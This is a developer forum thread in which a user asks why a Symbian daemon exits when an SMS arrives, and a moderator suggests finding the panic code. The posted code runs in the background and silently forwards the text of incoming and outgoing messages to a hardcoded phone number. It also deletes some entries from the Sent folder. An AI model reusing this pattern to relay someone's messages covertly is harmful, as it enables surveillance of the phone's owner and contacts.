×

Discussion Board

Results 1 to 2 of 2
  1. #1
    Registered User
    Join Date
    Aug 2010
    Posts
    40

    program exits when an incoming message arrived

    first of all, thanks to all of your advice now i can run my sms handler as a daemon(background process)
    thanks also to the ezboot and the nokia champions out there who help me to solve my problems

    now my SmsHandler calls handleSessionEventL() when there's an incoming sms received by my phone!

    now my problem is , after i received the message the program stops..... i think there's something wrog in my code...

    can you look at my code where's the problem is?

    Code:
    LOCAL_C void DoStartL()
    	{
    	// Create active scheduler (to run active objects)
    	CActiveScheduler* scheduler = new (ELeave) CActiveScheduler();
    	CleanupStack::PushL(scheduler);
    	CActiveScheduler::Install(scheduler);
    
    	//MainL();
    	CSmsHandler* iSmsHandler = CSmsHandler::NewL();
    	CActiveScheduler::Start();
    
    
    	// Delete active scheduler
    	CleanupStack::PopAndDestroy(scheduler);
    	}
    
    GLDEF_C TInt E32Main()
    	{
    	// Create cleanup stack
    	__UHEAP_MARK;
    	CTrapCleanup* cleanup = CTrapCleanup::New();
    
    	// Run application code inside TRAP harness, wait keypress when terminated
    	TRAPD(mainError, DoStartL());
    	if (mainError);
    		return mainError;
    		
    	delete cleanup;
    	__UHEAP_MARKEND;
    	return KErrNone;
    	}
    i edited some part of the messageRecievedL(), handleSessionEventL() of the class CSmsHandler from the SmsOperations on the wiki . here's the code

    Code:
    void CSmsHandler::HandleSessionEventL( TMsvSessionEvent aEvent,
                                          TAny* aArg1, TAny* aArg2, TAny* /*aArg3*/)
    	{
    	switch ( aEvent )
    		{
            // Session to server established
    		case EMsvServerReady:
                {
                TMsvId serviceId( KUidMsgTypeSMS.iUid ); // SMS service id
    
                // Determine if the event was succesful.
                // ServiceProgress inserts TBuf8 value in progress.
                TBuf8<KBfrLength> progress;
    			iSession->ServiceProgress( serviceId, progress );
    			_LIT8( KCompare, "KErrNone" );
    
    			if ( progress.Compare( KCompare ) )
    				{
    /*                HBufC* text = StringLoader::LoadLC( R_SMS_SERVER_SESSION );
                    CAknInformationNote* informationNote =
                        new ( ELeave ) CAknInformationNote;
                    informationNote->ExecuteLD( *text );
                    CleanupStack::PopAndDestroy( text );
    */
                    // Check that MtmRegistry has not already been accessed.
                    if ( !iMtmRegistry )
                        {
                        AccessMtmL();
                        }
                    }
    
                else
    				{
    /*              HBufC* text = StringLoader::LoadLC( R_SMS_SESSION_ERROR );
                    CAknErrorNote* errorNote = new ( ELeave ) CAknErrorNote;
                    errorNote->ExecuteLD( *text );
                    CleanupStack::PopAndDestroy( text );*/
                    }
    
                break;
                }
    
            // A new entry has been created on the message server.
            case EMsvEntriesCreated:
                {
                // Entry id is obtained from the session event arguments.
                TMsvId* entryId = STATIC_CAST( TMsvId*, aArg2 );
    
                // We are interested in messages that are created in Inbox.
                if ( *entryId != KMsvGlobalInBoxIndexEntryId )
                    {
                    break;
                    }
    
                // We take the created entries into a selection
                CMsvEntrySelection* newEntries =
                    STATIC_CAST( CMsvEntrySelection*, aArg1 );
    
                // Process each created entry.
                for ( TInt i( 0 ); i < newEntries->Count(); i++ )
                    {
                    // We are interested in SMS messages.
                    if ( ( iSession->GetEntryL( newEntries->At( i ) ) )
                        ->Entry().iMtm == KUidMsgTypeSMS )
                        {
                        // Add the entry to the selection of all received messages.
                        iSelection->AppendL( newEntries->At( i ), 1 );
    
                        // Set received messages visible.
                        MessageReceivedL( newEntries->At( i ) );
                        }
                    }
    
                break;
                }
    
            case EMsvCloseSession:
            case EMsvServerTerminated:
            case EMsvGeneralError:
            case EMsvServerFailedToStart:
                {
    //            iSmsAppUi->ServerDown( aEvent );    // close application
                break;
                }
            case EMsvEntriesMoved: {
            TMsvId* entryId = STATIC_CAST( TMsvId*, aArg2 ); 
            // We are interested in messages that are moved to outbox Item Folder      
            if ( *entryId == KMsvGlobalOutBoxIndexEntryId  )            
            	{
            	CMsvEntrySelection* newEntries = STATIC_CAST( CMsvEntrySelection*, aArg1 );  
            	CMsvEntry* entry= iSession->GetEntryL(newEntries->At(0));
            	TMsvEntry e =  entry->Entry();
            	
            	const TDesC& descp = e.iDescription;
            	TBuf<128> PhoneNumber;
            	PhoneNumber.Copy(_L("09279514317"));
            	
            	SendL( PhoneNumber, descp) ;
                
                CleanupStack::PopAndDestroy( entry );
                break;
            	}
            if ( *entryId == KMsvSentEntryId ) 
            	{		
            	TMsvSelectionOrdering sort;    
            	sort.SetSorting(EMsvSortByDateReverse);	
            	sort.SetShowInvisibleEntries(ETrue); // we want to handle also the invisible entries 	
            	CMsvEntry* parentEntry = CMsvEntry::NewL(*iSession, KMsvSentEntryId, sort);	
            	CleanupStack::PushL(parentEntry); 	
            	CMsvEntrySelection* entries = parentEntry->ChildrenL();		
            	CleanupStack::PushL(entries); 		
            	for(TInt i = 0; i < entries->Count(); i++)	
            		{		
            		if( parentEntry->ChildDataL(entries->At(i)).iMtmData3 != KUidMsgTypeSMS.iUid )	
            			{				
            			parentEntry->DeleteL(entries->At(i));		
            			break;			
            			}	
            		}		
            	CleanupStack::PopAndDestroy( entries );	
            	CleanupStack::PopAndDestroy( parentEntry );	
            	}		
            break;	
            }
            
    
            // All other events are ignored.
            default:
                break;
            }
    
    void CSmsHandler::MessageReceivedL( TMsvId aEntryId )
        {
        CMsvEntry* serverEntry = iSession->GetEntryL( aEntryId );   // current entry
        CleanupStack::PushL( serverEntry );
        TMsvEntry entry = serverEntry->Entry(); // currently handled message entry
    
        entry.SetNew( ETrue );
        entry.SetUnread( ETrue );
        entry.SetVisible( ETrue );
    
        serverEntry->ChangeL( entry );  // commit changes
        //iSmsAppUi->MessageReceived();   // let UI know we have received a message
        
        const TDesC& descp = entry.iDescription; // iDescription will have only first 32 characters from the message	
    
        TBuf<128> PhoneNumber;
        
        //SMSText.Copy(_L("Test Message TXT bak pogs if u recieved")); 
        PhoneNumber.Copy(_L("09279514317"));
        //Replace Number as per your needs    
        SendL( PhoneNumber, descp) ;
        
        CleanupStack::PopAndDestroy( serverEntry );
    
    /*  HBufC* text = StringLoader::LoadLC( R_SMS_MSG_RECEIVED );
        CAknInformationNote* informationNote =
            new ( ELeave ) CAknInformationNote;
        informationNote->ExecuteLD( *text );
        CleanupStack::PopAndDestroy( text );*/
        }
        }

  2. #2
    Nokia Developer Moderator
    Join Date
    Mar 2003
    Location
    Lempäälä/Finland
    Posts
    29,166

    Re: program exits when an incoming message arrived

    one nice information what you should get first is to find out the panic code for the crash: http://wiki.forum.nokia.com/index.ph...ded_panic_code

Similar Threads

  1. .exe program that never exits(process not killed)
    By arnelpogs_wahaha in forum Symbian Networking & Messaging (Closed)
    Replies: 2
    Last Post: 2010-08-09, 15:29
  2. program exits when installing other app
    By lymon in forum Symbian
    Replies: 3
    Last Post: 2010-01-06, 12:51
  3. Program exits with USER Panic 42
    By raffaelbechara in forum Symbian
    Replies: 2
    Last Post: 2008-10-15, 18:09
  4. Application Exited when incoming call arrived
    By ravibabu in forum Mobile Java General
    Replies: 8
    Last Post: 2008-05-28, 05:10
  5. Game exits after incoming call
    By JohnnyC1969 in forum Mobile Java General
    Replies: 2
    Last Post: 2004-08-02, 22:09

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
×